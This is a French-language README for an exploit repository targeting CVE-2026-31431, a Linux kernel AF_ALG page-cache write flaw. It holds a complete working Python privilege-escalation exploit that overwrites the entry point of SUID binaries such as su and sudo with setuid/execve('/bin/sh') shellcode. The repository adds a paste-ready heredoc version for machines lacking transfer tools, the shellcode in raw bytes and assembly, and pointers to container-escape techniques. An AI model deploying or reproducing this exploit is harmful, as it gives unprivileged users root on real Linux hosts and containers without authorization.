
CVE-2026-31431 Copy Fail — Exploit LPE universel. Décalage ELF dynamique + réécriture complète du binaire, compatible Python 2/3 avec repli splice via ctypes
Écriture arbitraire de 4 octets dans le cache de pages du noyau Linux → Élévation de privilèges locale
Plusieurs approches d'exploitation : écrasement dynamique du point d'entrée ELF, remplacement complet du binaire, compatible Python 3.x avec repli splice via ctypes.
CVE-2026-31431 est une vulnérabilité dans le sous-système crypto AF_ALG du noyau Linux. En abusant de splice() + du déchiffrement en place authencesn, un utilisateur non privilégié peut écrire 4 octets à un décalage arbitraire dans le cache de pages du noyau — le même cache utilisé pour toute la mémoire adossée à des fichiers.
Cela signifie :
Ce dépôt fournit trois outils utilisant la même primitive de copie-échec AF_ALG :
Point d'entrée dynamique — Analyse l'en-tête ELF à l'exécution pour calculer le décalage du point d'entrée dans le fichier (p_offset + (e_entry - p_vaddr)), puis écrit un petit stub de shellcode. Aucun décalage codé en dur — un seul script fonctionne sur n'importe quel binaire SUID x86_64, quelle que soit la distribution ou la version.
Remplacement complet du binaire — Écrase la cible à partir du décalage 0 avec un payload ELF complet pré-construit (compressé zlib et intégré au script). Peut cibler des binaires non-SUID exécutés par des processus privilégiés (tâches cron, services systemd, kube-proxy). Fonctionne avec Python 2.
Vérificateur de vulnérabilité — Teste si le système cible dispose d'AF_ALG, d'authencesn et d'algif_aead avant d'exécuter un exploit.
exploit.py ; Python 2 pris en charge via poc_compatible.py)/usr/bin/su, /usr/bin/sudo, etc.)# Créer un conteneur de test avec un utilisateur non privilégié
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
Ensuite, dans le conteneur en tant que testuser :
# Avant : setuid(0) échoue car l'uid réel n'est pas 0
/usr/local/bin/verify
# uid=1000 euid=0
# (se termine normalement, pas de root)
# Exécuter l'exploit
python3 exploit.py /usr/local/bin/verify
# Après : point d'entrée écrasé, le shellcode obtient root
# uid=0(root) gid=1000(testuser)
Dans les scénarios réels, vous n'avez souvent qu'un shell brut — pas de scp, pas de curl, pas de wget. Cette méthode utilise un heredoc cat pour écrire l'exploit directement dans le terminal :
# Option 1 : exécuter le script shell
sh exploit-one-liner.sh /usr/local/bin/verify
# Option 2 : coller directement dans le terminal (copier tout le bloc)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
Pourquoi c'est important : Les environnements conteneurisés manquent souvent d'outils de transfert de fichiers (
scp,curl,wget). La méthode heredoc ne nécessite quecatetpython3— disponibles partout.
Vous pouvez remplacer /usr/local/bin/verify par n'importe quel binaire SUID-root :
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Avertissement : Cibler des binaires SUID système (comme
/usr/bin/su) affecte tous les utilisateurs du système. Le binaire devient inutilisable jusqu'à ce que le cache de pages soit vidé. Sur la machine hôte, tout utilisateur exécutantsuobtiendrait un shell root.Sur un système partagé ou en production, c'est immédiatement visible —
suplantera ou générera des shells inattendus pour tout le monde. Utilisezverify.cpour des tests sûrs.
L'exploit ne modifie que le cache de pages (mémoire), pas le disque. Options de récupération :
# Sur l'hôte (après les tests en conteneur) :
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Vérifier la récupération :
xxd -l 8 /usr/bin/su
# Devrait afficher : 7f45 4c46 (.ELF)
Remarque : Dans un conteneur par défaut (non privilégié),
echo 3 > /proc/sys/vm/drop_cacheséchoue avecRead-only file system— cela nécessite un accès à l'hôte ou la destruction du conteneur.
L'algorithme AEAD authencesn du noyau a un bug dans son chemin de déchiffrement en place :
AF_ALG avec authencesn(hmac(sha256), cbc(aes))splice() pour alimenter les données du fichier dans la socket crypto — cela mappe directement les pages du cache de pages dans la liste de segments dispersés (scatterlist) du noyauauthencesn écrit 4 octets de seqno_lo après la balise d'authentificationRésultat : écriture arbitraire de 4 octets dans tout fichier mis en cache.
┌─────────────────────────────────────────────────────┐
│ Binaire ELF (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ En-tête ELF │ e_entry = 0x4013f0 │
│ │ │ ← analysé dynamiquement │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← décalage fichier calculé │
│ │ code d'origine │ │
│ │ │ ─── écritures copie-échec ───→ │
│ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
Lorsque le noyau charge le binaire SUID, il définit euid=0, puis saute au point d'entrée.
Le point d'entrée est désormais notre shellcode → setuid(0) réussit → shell root.
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; terminateur nul
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; nom de fichier
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36 octets, 9 écritures copie-échec (4 octets chacune).
Les conteneurs Docker par défaut ne sont pas protégés contre cela :
| Protection | Statut |
|---|---|
| Seccomp | ✅ AF_ALG autorisé par défaut |
| Espaces de noms utilisateur | ❌ Non utilisés dans Docker par défaut |
| AppArmor/SELinux | ❌ Ne restreint pas AF_ALG |
| Abandon de capacités | ❌ Aucune capacité spéciale requise |
La seule chose qui empêche l'évasion de conteneur est l'isolation du cache de pages par montage d'overlayfs. Mais une fois que vous avez root dans le conteneur, les techniques d'évasion standard s'appliquent (release_agent cgroup, docker.sock, jetons serviceaccount K8s, métadonnées cloud).
Chaque noyau Linux depuis la conversion en place algif_aead (fusionnée ~2017), y compris :
.
├── exploit.py # Écrasement dynamique du point d'entrée ELF (Python 3.x)
├── exploit-one-liner.sh # Version prête à coller (sans transfert de fichier)
├── poc_compatible.py # Écrasement complet du binaire ELF à partir du décalage 0 (Python 2/3, par h4ppy7ree)
├── poc_ctypes.py # splice via ctypes pour Python 3.0-3.9 (par h4ppy7ree)
├── check_cve.sh # Vérificateur de vulnérabilité (par h4ppy7ree)
├── verify/
│ └── verify.c # Programme de vérification SUID pour les tests
└── README.md # Ce fichier
AF_ALG (socket(AF_ALG, ...) → errno)af_algCONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0)Cet exploit est fourni uniquement à des fins de recherche en sécurité autorisée et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.
MIT
| Point d'entrée dynamique | Remplacement complet du binaire | Vérificateur de vulnérabilité |
|---|
| Fichier | exploit.py | poc_compatible.py | check_cve.sh |
| Stratégie | Écrase le point d'entrée ELF avec du shellcode | Remplace le binaire entier à partir du décalage 0 | Teste si la cible est vulnérable |
| Cible | Tout binaire SUID x86_64 | Tout binaire (SUID ou non) | N/A |
| Python | 3.x (toutes versions) | 2 / 3 | Bash |
| Payload | Shellcode de 36 octets | ELF complet compressé zlib | N/A |
| Auteur | Ce travail | h4ppy7ree | h4ppy7ree |
| Méthode | Où | Commande |
|---|
| Vider le cache de pages | Hôte (root) | echo 3 > /proc/sys/vm/drop_caches |
| Redémarrer | Partout | reboot — le cache de pages est volatil |
| Détruire le conteneur | Partout | docker rm — le cache de pages est libéré avec le conteneur |
| Vecteur | Fonctionne ? | Détails |
|---|
| LPE (utilisateur local → root) | ✅ Oui | Écrasement du point d'entrée d'un binaire SUID |
| Évasion de conteneur (par défaut) | ❌ Non | Isolation du cache de pages par montage overlayfs |
| Évasion de conteneur (écriture hôte) | ✅ Oui | Écriture via /proc/PID/root/ depuis l'hôte |
| Inter-conteneurs (écriture hôte) | ✅ Oui | Même inode → cache de pages partagé de la couche inférieure |